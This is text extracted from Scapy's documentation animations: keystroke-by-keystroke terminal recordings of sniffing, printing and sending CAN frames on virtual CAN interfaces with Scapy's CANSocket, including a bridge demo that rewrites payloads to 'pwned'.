00 00 'pwned...' │ vcan0 294 [8] 13 4B 9D 6B 54 28 A5 6D vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 04F [8] 13 4B 9D 6B 54 28 A5 6D vcan1 2B3 [1] 70 'p' │ vcan0 04F [8] 49 6C ED 65 2C D1 01 7A vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3DE [6] 00 9A DF 65 70 16 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 0CA [1] D6 ^C[cars@scapy folders 2019]$ ^C │ vcan0 3B3 [6] C6 51 63 20 3E C5 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3BE [3] B6 B4 4A vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5E0 [2] C8 19 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5C0 [2] 76 98 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 292 [4] B1 95 C9 3C vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 34E [1] E0 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 18B [0] vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 351 [8] 5B 50 C3 70 F0 C6 A3 59 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 294 [8] 13 4B 9D 6B 54 28 A5 6D vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 04F [8] 49 6C ED 65 2C D1 01 7A vcan1 2B3 [1] 70 'p' │ vcan0 3DE [6] 00 9A DF 65 70 16 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 0CA [1] D6 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 3B3 [6] C6 51 63 20 3E C5 ^C[cars@scapy folders 2019]$ ^C │ vcan0 017 [8] 88 E2 7A 6C FA 1E 7F 53 vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan0 083 [5] F0 53 AE 4B 54 vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan0 3BE [3] B6 B4 4A vcan0 5E0 [2] C8 19 vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan0 5C0 [2] 76 98 vcan0 0DD [5] 8C EB 1C 26 D4 vcan0 292 [4] B1 95 C9 3C vcan0 34E [1] E0 vcan0 18B [0] vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E vcan0 351 [8] 5B 50 C3 70 F0 C6 A3 59 vcan0 294 [8] 13 4B 9D 6B 54 28 A5 6D vcan0 04F [8] 49 6C ED 65 2C D1 01 7A vcan0 3DE [6] 00 9A DF 65 70 16 vcan0 0CA [1] D6 vcan0 3B3 [6] C6 51 63 20 3E C5 vcan0 017 [8] 88 E2 7A 6C FA 1E 7F 53 vcan0 6CD [8] BE CB 37 62 1E DA B2 3B vcan0 2D3 [8] 0E A1 56 15 68 AD 28 7C vcan0 276 [1] BC^C[cars@scapy folders 2019]$ ^C[cars@scapy folders 2019]$ logout[exited] scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-cansockets-sniff.svg000077500000000000000000017236351372370053500275720ustar00rootroot00000000000000 >>> >>> I-search backward: >>> pkts = sock.sniff(timeout=5, count=5) I-search backward: c >>> pkts = sock.sniff(timeout=5, count=5) I-search backward: co >>> load_contrib("cansocket") I-search backward: con >>> conf.contribs['CANSocket'] = {'use-python-can': False} I-search backward: conf >>> conf.contribs['CANSocket'] = {'use-python-can': False} >>> conf.contribs['CANSocket'] = {'use-python-can': False} I-search backward: l >>> load_contrib("cansocket") I-search backward: lo >>> load_contrib("cansocket") I-search backward: loa >>> load_contrib("cansocket") I-search backward: load INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev689 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Wanna support scapy? Rate it on scccccp///pSP///p p//Y | sectools! sY/////////y caa S//P | http://sectools.org/tool/scapy/ cayCyayP//Ya pY/Ya | -- Satoshi Nakamoto sY/PsY////YCc aC//Yp | sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> conf.contribs['CANSocket'] = {'use-python-can': False} >>> load_contrib("cansocket") >>> load_contrib("cansocket") INFO: Use native CANSocket. Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can.>>> load_contrib("cansocket") I-search backward: load_ >>> load_layer("can") I-search backward: load_l >>> load_layer("can") I-search backward: load_la >>> load_layer("can") >>> load_layer("can") >>> load_contrib("cansocket") I-search backward: s >>> load_contrib("cansocket") I-search backward: so >>> load_contrib("cansocket") I-search backward: soc >>> load_contrib("cansocket") I-search backward: sock >>> sock = CANSocket("vcan0") I-search backward: sock I-search backward: sock >>> sock = CANSocket("vcan0") I-search backward: sock = >>> sock = CANSocket("vcan0") >>> sock = CANSocket("vcan0") >>> sock = CANSocket("vcan0") >>> sock = CANSocket("vcan0") >>> sock = CANSocket("vcan0") >>> pkts = sock.sniff(timeout=5, count=5) I-search backward: sock. >>> pkts = sock.sniff(timeout=5, count=5) I-search backward: sock.s >>> pkts = sock.sniff(timeout=5, count=5) I-search backward: sock.sn >>> pkts = sock.sniff(timeout=5, count=5) >>> pkts = sock.sniff(timeout=5, count=5) >>> pkts = sock.sniff(timeout=5, count=5) I-search backward: f >>> for p in pkts: I-search backward: fo I-search backward: for >>> for p in pkts: ...: print(p.__repr()) I-search: for >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: >>> for p in pkts: ...: print(p.__repr()) ...: print(p.__repr()) ...: print(p.__repr()) ...: print(p.__repr()) ...: print(p.__rep_r()) ...: print(p.__rep__r()) ...: print(p.__repr()) ...: print(p.__repr_()) ...: print(p.__repr__()) ...: print(p.__repr__()) ...: print(p.__repr__()) ...: print(p.__repr__()) >>> for p in pkts: ...: print(p.__repr__()) ...: ...: <CAN flags= identifier=0x43c length=8 reserved=0 data='\\\xf0;\x1e}\xa1M8' |> <CAN flags= identifier=0xe length=8 reserved=0 data='\xd9\xe8\x12\x07\x10\xcb\x0eD' |><CAN flags= identifier=0x150 length=8 reserved=0 data='\xc6\xfc\xbd\x17\x1a\xaf\xb5 ' |><CAN flags= identifier=0x7c2 length=7 reserved=0 data='\xae\x01\xad\x1a\xa4\xaau' |><CAN flags= identifier=0x467 length=8 reserved=0 data='rcbd\xc3\xe3-4' |>...: print(p.__repr__()) ...: print(p.__repr__()) >>> for p in pkts: >>> pkts = sock.sniff(timeout=5, count=5) >>> pkts = sock.sniff(timeout=5, count=5) >>> pkts = sock.sniff(timeout=5, count=5) >>> pkts = sock.sniff(timeout=5, count=) >>> pkts = sock.sniff(timeout=5, coun) >>> pkts = sock.sniff(timeout=5, cou) >>> pkts = sock.sniff(timeout=5, co) >>> pkts = sock.sniff(timeout=5, c) >>> pkts = sock.sniff(timeout=5, ) >>> pkts = sock.sniff(timeout=5,) >>> pkts = sock.sniff(timeout=5) >>> pkts = sock.sniff(timeout=) >>> pkts = sock.sniff(timeout=0) >>> pkts = sock.sniff(timeout=0.) >>> pkts = sock.sniff(timeout=0.3) >>> pkts = sock.sniff(timeout=0.3) >>> pkts = sock.sniff(timeout=0.3) <CAN flags= identifier=0x69d length=8 reserved=0 data='\x07\xacW\x0e/1\xa79' |><CAN flags= identifier=0x36 length=8 reserved=0 data='\x17~\xd02\x89LGw' |><CAN flags= identifier=0x580 length=3 reserved=0 data='U\xb3\x85' |><CAN flags= identifier=0x11e length=1 reserved=0 data=':' |><CAN flags= <CAN flags= identifier=0x5da length=3 reserved=0 data='<\x8c?' |><CAN flags= identifier=0x63e length=3 reserved=0 data='Dn\x83' |><CAN flags= identifier=0x75a length=2 reserved=0 data='\xa4\xc8' |><CAN flags= identifier=0x7a1 length=7 reserved=0 data='\x85wT\r>\xbe:' |><CAN flags= identifier=0x786 length=8 <CAN flags= identifier=0x786 length=8 reserved=0 data='m\xef\xe1C\xbc\x07\xd5\x16' |><CAN flags= identifier=0x635 length=4 reserved=0 data='ET\x1c\x0e' |><CAN flags= identifier=0x6a7 length=8 reserved=0 data='qu\x95\x0e\xc5_\xb9\x1a' |><CAN flags= identifier=0x34c length=8 reserved=0 data='\xf2 \xeal&\x99\xceJ' |><CAN flags= identifier=0x4bf length=8 reserved= <CAN flags= identifier=0x4bf length=8 reserved=0 data='PX\x9c%\xfdj\x9fV' |><CAN flags= identifier=0x631 length=4 reserved=0 data='\xfd\x88\xd7J' |><CAN flags= identifier=0x686 length=2 reserved=0 data='M\xc1' |><CAN flags= identifier=0x5b9 length=2 reserved=0 data='e\x14' |><CAN flags= identifier=0x45e length=2 reserved=0 data='\xfb4' |><CAN flags= identifier=0x45e length=2 reserved=0 data='\xfb4' |><CAN flags= identifier=0x156 length=0 reserved=0 |><CAN flags= identifier=0xda length=8 reserved=0 data='\xc3w\xac\x05&<\x16X' |><CAN flags= identifier=0x465 length=5 reserved=0 data='L\xd5\xe4"$' |><CAN flags= identifier=0x5e3 length=8 reserved=0 data='!\xbc^:\x15|\xe7&' |><CAN flags= identifier=0 <CAN flags= identifier=0x430 length=8 reserved=0 data='\xa1\xa9\x8a7\xb6*\xf1 '<CAN flags= identifier=0x6c1 length=8 reserved=0 data='\xdd\x80Y\x10z\x14Qa' |><CAN flags= identifier=0x3c1 length=2 reserved=0 data='\xb9A' |><CAN flags= identifier=0x114 length=4 reserved=0 data='\xb3\x8a\xc4\x7f' |><CAN flags= identifier=0x7f4 length=8 <CAN flags= identifier=0x7f4 length=8 reserved=0 data='h"\xacf\xce\x90\'m' |><CAN flags= identifier=0x4b5 length=8 reserved=0 data='\xf5\xcc=E\x1biCh' |><CAN flags= identifier=0x2e0 length=1 reserved=0 data='?' |><CAN flags= identifier=0x7de length=1 reserved=0 data='\xd8' |><CAN flags= identifier=0x380 length=8 reserved=0 data='\xc <CAN flags= identifier=0x380 length=8 reserved=0 data='\xc5\xee5;ARS|' |><CAN flags= identifier=0x168 length=2 reserved=0 data='\xbbf' |><CAN flags= identifier=0x4e5 length=4 reserved=0 data='H\xad%\x18' |><CAN flags= identifier=0x728 length=8 reserved=0 data='d\xa8\xc6\x18\x1c\x1f\xee\x1e' |><CAN flags= identifier=0xf7 length=8 reserved=0 data='\xea\xaf\x15\x0c\xac\x8d\x06\x18' |> x06\x18' |><CAN flags= identifier=0x4f7 length=8 reserved=0 data='\xc7\xf6I\x00\xd7\x97\xbaJ' |><CAN flags= identifier=0x721 length=7 reserved=0 data='\x9a\x10j\x1f\xff\xee\x19' |><CAN flags= identifier=0x768 length=3 reserved=0 data='\r\xb3^' |><CAN flags= identifier=0x3ec length=2 reserved=0 data=')5' |><CAN flags <CAN flags= identifier=0x175 length=4 reserved=0 data='}Z\x81\x0f' |><CAN flags= identifier=0x458 length=6 reserved=0 data='S\xb4\xbd}\x80c' |><CAN flags= identifier=0x7c1 length=7 reserved=0 data='\x9c\x82\xb9)\xb8\xf0\xe<CAN flags= identifier=0x783 length=6 reserved=0 data='e~\xf0?z\x8c' |><CAN flags= identifier= <CAN flags= identifier=0x766 length=8 reserved=0 data='Q$}L\x87\xce\x98@' |><CAN flags= identifier=0x633 length=8 reserved=0 data='\x86\xbd\xb2*\x9bM5_' |><CAN flags= identifier=0x25f length=3 reserved=0 data='\x830{' |><CAN flags= identifier=0x266 length=8 reserved=0 data='\xa0\x8b\xa3w\xdb#\xcay'<CAN flags= identifier=0x190 length= <CAN flags= identifier=0x190 length=8 reserved=0 data='5:zZ\xe8E\xa4~' |><CAN flags= identifier=0x5e3 length=8 reserved=0 data='h\xa9o\t\xa5-]n' |><CAN flags= identifier=0x340 length=4 reserved=0 data=']\x1eG\x16' |><CAN flags= identifier=0x68b length=2 reserved=0 data='>\xff' |><CAN flags= identifier=0x1ef length=8 reserved=0 data= <CAN flags= identifier=0x1ef length=8 reserved=0 data='x\xdc\xb30"8\xf9"' |><CAN flags= identifier=0x7b length=8 reserved=0 data='\xbe\x85.\x02\xda\x92\xc2E' |><CAN flags= identifier=0x291 length=1 reserved=0 data='&' |><CAN flags= identifier=0x3ee length=6 reserved=0 data='\xd2@\xe8r~\x1d' |><CAN flags= identifier=0x2e3 length=7 reserved=0 data='gc\xb4&\xc7\xd0a' |><CAN flags= identifier=0x190 length=8 reserved=0 data='l\xfe\xbe6\xd0\xb4V\x14'<CAN flags= identifier=0xd4 length=8 reserved=0 data="\x93'\n\x19_\x97EL" |><CAN flags= identifier=0x18c length=1 reserved=0 data='P' |><CAN flags= identifier=0x261 length=8 reserved=0 data='\x9d\x03\xa9\\\xdc\xa2M1' |><CAN flags= identifier=0x3c6 length=8 reserved=0 data='\xb75\x10wW&\xf3R' |><CAN flags= identifier=0x79d length=8 reserved=0 data='OC\x11L\x8b[?v' |><CAN flags= identifier=0x3a3 length=1 reserved=0 data='\t' |><CAN flags= identifier=0x729 length=0 reserved=0 |><CAN flags= identifier=0x140 length=8 reserved <CAN flags= identifier=0x140 length=8 reserved=0 data='\x89\x1dMF\x14"uX' |><CAN flags= identifier=0x283 length=8 reserved=0 data='s\xb9\xba$\x0f,I-' |><CAN flags= identifier=0x3ee length=3 reserved=0 data='\x8a\xf7\xf8' |><CAN flags= identifier=0x8b length=7 reserved=0 data='+Y\x98"Q\xfc\xaa' |><CAN flags= identifier=0x483 length=2 reserved=0 data= <CAN flags= identifier=0x483 length=2 reserved=0 data='\xa8"' |><CAN flags= identifier=0x5bf length=7 reserved=0 data='\xab\x1f:7b\xd9\xd4' |><CAN flags= identifier=0x219 length=4 reserved=0 data='\xe9_\xb9\r' |><CAN flags= identifier=0x525 length=6 reserved=0 data='\xfbQ\xfb2e^' |><CAN flags= identifier=0x4f0 length=4 reserved=0 data='y\x80*h' |><CAN <CAN flags= identifier=0x4a0 length=8 reserved=0 data='\x82\xabY\x08\x8e wW' |><CAN flags= identifier=0xaf length=8 reserved=0 data='\xdd\xd6\xc1H:y0<' |><CAN flags= identifier=0x633 length=8 reserved=0 data='\x8bu\xdbR\xb6"nU' |><CAN flags= identifier=0x6eb length=3 reserved=0 data='\xd6\xe6h' |><CAN flags= identi <CAN flags= identifier=0x62b length=1 reserved=0 data='\r' |><CAN flags= identifier=0x736 length=6 reserved=0 data='\x86\xd1\xd6g[\x14' |> <CAN flags= identifier=0x736 length=6 reserved=0 data='\x86\xd1\xd6g[\x14' |><CAN flags= identifier=0x52d length=1 reserved=0 data='\xc0' |><CAN flags= identifier=0x305 length=8 reserved=0 data='\x90q,N\xa5G\xbal' |><CAN flags= identifier=0x525 length=2 reserved=0 data='4h' |><CAN flags= identifier=0x1e length=1 reserved=0 data='\x0e' |><CAN flags= identifier <CAN flags= identifier=0x71a length=8 reserved=0 data='\x08\x81;N\x06.P}' |><CAN flags= identifier=0x4cc length=8 reserved=0 data='\xb1"\xd9-\xf7J.n' |><CAN flags= identifier=0x660 length=8 reserved=0 data=';3\x00U\x96\rtU' |><CAN flags= identifier=0x6b5 length=1 reserved=0 data='\xf1' |><CAN flags= identifier=0x42 length=1 <CAN flags= identifier=0x42 length=1 reserved=0 data='\xff' |><CAN flags= identifier=0x7ea length=8 reserved=0 data='\xed\x02~X\x0f\xb5\xb6X'<CAN flags= identifier=0x4a1 length=1 reserved=0 data='\xe3' |><CAN flags= identifier=0x232 length=1 reserved=0 data='\x10' |><CAN flags= identifier=0x68a length=8 reserved=0 data='SG@\x1 <CAN flags= identifier=0x68a length=8 reserved=0 data='SG@\x1fV\xbbw1' |><CAN flags= identifier=0x3f7 length=4 reserved=0 data='N\x06\xa6\x1f' |><CAN flags= identifier=0x2c2 length=8 reserved=0 data='\xed\x07uowy\x9e7' |><CAN flags= identifier=0x64b length=8 reserved=0 data='Y}\x03\x16\x8df&\t' |><CAN flags= identifier=0x68f length=8 reserved=0 data='\xd5!\xeatyFxy' |>< <CAN flags= identifier=0x2e7 length=2 reserved=0 data='\x88\xfb' |><CAN flags= identifier=0x7e3 length=8 reserved=0 data='G\xa4q9\x15:\xba\x13' |><CAN flags= identifier=0x5c length=8 reserved=0 data='bS\xaa5\xe6\x9e\xbe\x06' |><CAN flags= identifier=0x370 length=5 reserved=0 data='<Z68g' |><CAN flags= identifier=0x4b9 length=8 reserved=0 data='\xbe\xf1\x1as|_T\x1d' |><CAN flags= identifier=0x214 length=8 reserved=0 data='\xf3\xd8\xf2T_\xd8\xff}'<CAN flags= identifier=0x389 length=8 reserved=0 data='\xec>&\x07\x18\xe2sH' |><CAN flags= identifier=0x1a5 length=1 reserved=0 data='\x91' |><CAN flags= identifier=0x583 <CAN flags= identifier=0x583 length=8 reserved=0 data='\x15\x04\x12Wf\x15\x903'<CAN flags= identifier=0x284 length=8 reserved=0 data='|OJG\xe0\xca\xcc@' |><CAN flags= identifier=0x7b5 length=8 reserved=0 data='\xc6i\x8bG%[/p' |><CAN flags= identifier=0x594 length=3 reserved=0 data='\x8dRI' |><CAN flags= identifier=0x48d length=8 reserved <CAN flags= identifier=0x48d length=8 reserved=0 data='\xc9\xa17\x11\xa1\xbe $'<CAN flags= identifier=0x5f7 length=8 reserved=0 data='\x00\x97 "\x80a\'\x04' |><CAN flags= identifier=0x10a length=8 reserved=0 data='\x99C\x9bL\xaf\x9a\x9b#'<CAN flags= identifier=0x6ae length=8 reserved=0 data='<?H}2\xbc\xcfn' |><CAN flags= identifier=0x44 length=2 reserved=0 da <CAN flags= identifier=0x44 length=2 reserved=0 data='\x98\xd1' |><CAN flags= identifier=0x3af length=4 reserved=0 data='\xa9\xf5\xefR' |><CAN flags= identifier=0x3f3 length=8 reserved=0 data='\x896\xdcS\x87\x01~8' |><CAN flags= identifier=0x372 length=6 reserved=0 data='\xd4Ca,\x00H' |><CAN flags= identifier=0x562 length=8 reserved=0 data='\xa1\x06\xfc\x15Y\x0b~x' | <CAN flags= identifier=0x5b length=2 reserved=0 data='\xd9l' |><CAN flags= identifier=0x38f length=2 reserved=0 data='\x14\xcc' |><CAN flags= identifier=0x49d length=1 reserved=0 data='o' |><CAN flags= identifier=0x6a3 length=8 reserved=0 data='\xa9\xd7\x8d\x0cR:\x00O'<CAN flags= <CAN flags= identifier=0x11c length=2 reserved=0 data='\xb6\x15' |><CAN flags= identifier=0x4c2 length=8 reserved=0 data='\x96\x1e\xb1 4P6\x14' |><CAN flags= identifier=0x556 length=8 reserved=0 data='4\x98\x11\x06\xb8\xa28}'<CAN flags= identifier=0x9 length=6 reserved=0 data='\x11\xae\xb6ud\xa8' |><CAN flags= identifier=0x478 <CAN flags= identifier=0x478 length=8 reserved=0 data='\xc9\xd9R#\x07\xb0\x8d5'<CAN flags= identifier=0x35d length=8 reserved=0 data='DZH<\xfa\xe7d\x13' |><CAN flags= identifier=0x12e length=4 reserved=0 data='\xdb\x94\xcf\r' |><CAN flags= identifier=0xbc length=4 reserved=0 data='#:\xbd\n' |><CAN flags= identifier=0x1d7 length=8 re <CAN flags= identifier=0x1d7 length=8 reserved=0 data='\xe8n\x843\x99f\xd4s' |><CAN flags= identifier=0x419 length=8 reserved=0 data='\xcd\xb6\n\x08oq\xa2g' |<CAN flags= identifier=0x7e9 length=2 reserved=0 data="'\x14" |><CAN flags= identifier=0x5d8 length=8 reserved=0 data='V\xe0aZP*T~' |><CAN flags= identifier=0x522 length=8 reserved=0 data= <CAN flags= identifier=0x522 length=8 reserved=0 data='W\xda\xe13\x7f\xa8\x8a\x08' |><CAN flags= identifier=0x7fd length=8 reserved=0 data='y\x90\xef\x1b+\x11"\x0b'<CAN flags= identifier=0x54f length=4 reserved=0 data='\xfd\x10\xdfF' |><CAN flags= identifier=0x1d9 length=0 reserved=0 |><CAN flags= identifier=0x2fa length=8 reserved=0 data='I2\xcc1\x137\xfaR' |><CAN <CAN flags= identifier=0x44a length=6 reserved=0 data='\x82\xa8\x9c:4,' |><CAN flags= identifier=0x77e length=8 reserved=0 data='\xd0\xbf\xb4\x1c\xcf1v\x0e' |><CAN flags= identifier=0x1d length=8 reserved=0 data='\xf9}\xc3g\xff[U0' |><CAN flags= identifier=0x4d0 length=3 reserved=0 data='\xdc\xc2\x97' |><CAN flags= identifier=0x7f6 length=8 reserved=0 data='\x96#\x8c^0\x13\x02K' |><CAN flags= identifier=0x73d length=3 reserved=0 data='\x82~\xdd' |><CAN flags= identifier=0x336 length=4 reserved=0 data='S,Yv' |><CAN flags= identifier=0x147 length=2 reserved=0 data='\x92>' |><CAN flags= identifier=0x4d4 length=8 reserved=0 data='\xafh78Rd\xc4;' |><CAN flags= identifier=0x583 length=8 reserved=0 data='"\x96:J\xa0}<\x03' |><CAN flags= identifier=0x2dd length=8 reserved=0 data='\xa0\xd9\x913\xad\xaf\xfd+' |><CAN flags= identifier=0x1ef length=8 reserved=0 data='\xbbe\xf5\x07\xe5\x89 y'<CAN flags= identifier=0x547 length=2 reserved=0 data='\x15\x9d' |><CAN flags= identifier=0x6a5 length=7 reserved=0 data='\xdcN\xaaX\xdb\x01\x7f' <CAN flags= identifier=0x35c length=8 reserved=0 data='q\xffR\\\xa3\x1c\x16-' |<CAN flags= identifier=0x581 length=3 reserved=0 data='\x05\x1a\x13' |><CAN flags= identifier=0x42c length=5 reserved=0 data='\xa7\xd6\xf1\x01\xaf' |><CAN flags= identifier=0x334 length=8 reserved=0 data='P\x87JF\x12\xd6\x0b ' |><CAN flags= identifier=0xe5 length=0 reserved=0 |>>>> d >>> de >>> def >>> def >>> def s >>> def se >>> def sen >>> def send >>> def sendF >>> def sendFu >>> def sendFun >>> def sendFunc >>> def sendFunct >>> def sendFuncti >>> def sendFunctio >>> def sendFunction >>> def sendFunction( >>> def sendFunction() >>> def sendFunction(): ...: s ...: so ...: soc ...: sock ...: sock. ...: sock.s ...: sock.se ...: sock.sen ...: sock.send ...: sock.send( ...: sock.send(C ...: sock.send(CA ...: sock.send(CAN ...: sock.send(CAN( ...: sock.send(CAN(i ...: sock.send(CAN(id ...: sock.send(CAN(idi ...: sock.send(CAN(idie ...: sock.send(CAN(ide ...: sock.send(CAN(iden ...: sock.send(CAN(ident ...: sock.send(CAN(identi ...: sock.send(CAN(identif ...: sock.send(CAN(identifi ...: sock.send(CAN(identifie ...: sock.send(CAN(identifier ...: sock.send(CAN(identifier= ...: sock.send(CAN(identifier=0 ...: sock.send(CAN(identifier=0x ...: sock.send(CAN(identifier=0x1 ...: sock.send(CAN(identifier=0x12 ...: sock.send(CAN(identifier=0x123 ...: sock.send(CAN(identifier=0x123, ...: sock.send(CAN(identifier=0x123, ...: sock.send(CAN(identifier=0x123, d ...: sock.send(CAN(identifier=0x123, da ...: sock.send(CAN(identifier=0x123, dat ...: sock.send(CAN(identifier=0x123, data ...: sock.send(CAN(identifier=0x123, data- ...: sock.send(CAN(identifier=0x123, data+ ...: sock.send(CAN(identifier=0x123, data= ...: sock.send(CAN(identifier=0x123, data=" ...: sock.send(CAN(identifier=0x123, data=b ...: sock.send(CAN(identifier=0x123, data=b" ...: sock.send(CAN(identifier=0x123, data=b"H ...: sock.send(CAN(identifier=0x123, data=b"HE ...: sock.send(CAN(identifier=0x123, data=b"HEL ...: sock.send(CAN(identifier=0x123, data=b"HELL ...: sock.send(CAN(identifier=0x123, data=b"HELLO ...: sock.send(CAN(identifier=0x123, data=b"HELLO" ...: sock.send(CAN(identifier=0x123, data=b"HELLO") ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) >>> def sendFunction(): ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) ...: sock.send(CAN(identifier=0x123, data=b"HELLO")) >>> pkts = sock.sniff(timeout=0.3) >>> pkts = sock.sniff(timeout=0.3) I-search backward: sock.sni >>> pkts = sock.sniff(timeout=0.3) I-search backward: sock.snif I-search backward: sock.sniff I-search: sock.sniff >>> pkts = sock.sniff(timeout=0.3) >>> pkts = sock.sniff(timeout=5, count=5) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomething) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomethin) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomethi) >>> pkts = sock.sniff(timeout=1, started_callback=sendSometh) >>> pkts = sock.sniff(timeout=1, started_callback=sendSomet) >>> pkts = sock.sniff(timeout=1, started_callback=sendSome) >>> pkts = sock.sniff(timeout=1, started_callback=sendSom) >>> pkts = sock.sniff(timeout=1, started_callback=sendSo) >>> pkts = sock.sniff(timeout=1, started_callback=sendS) >>> pkts = 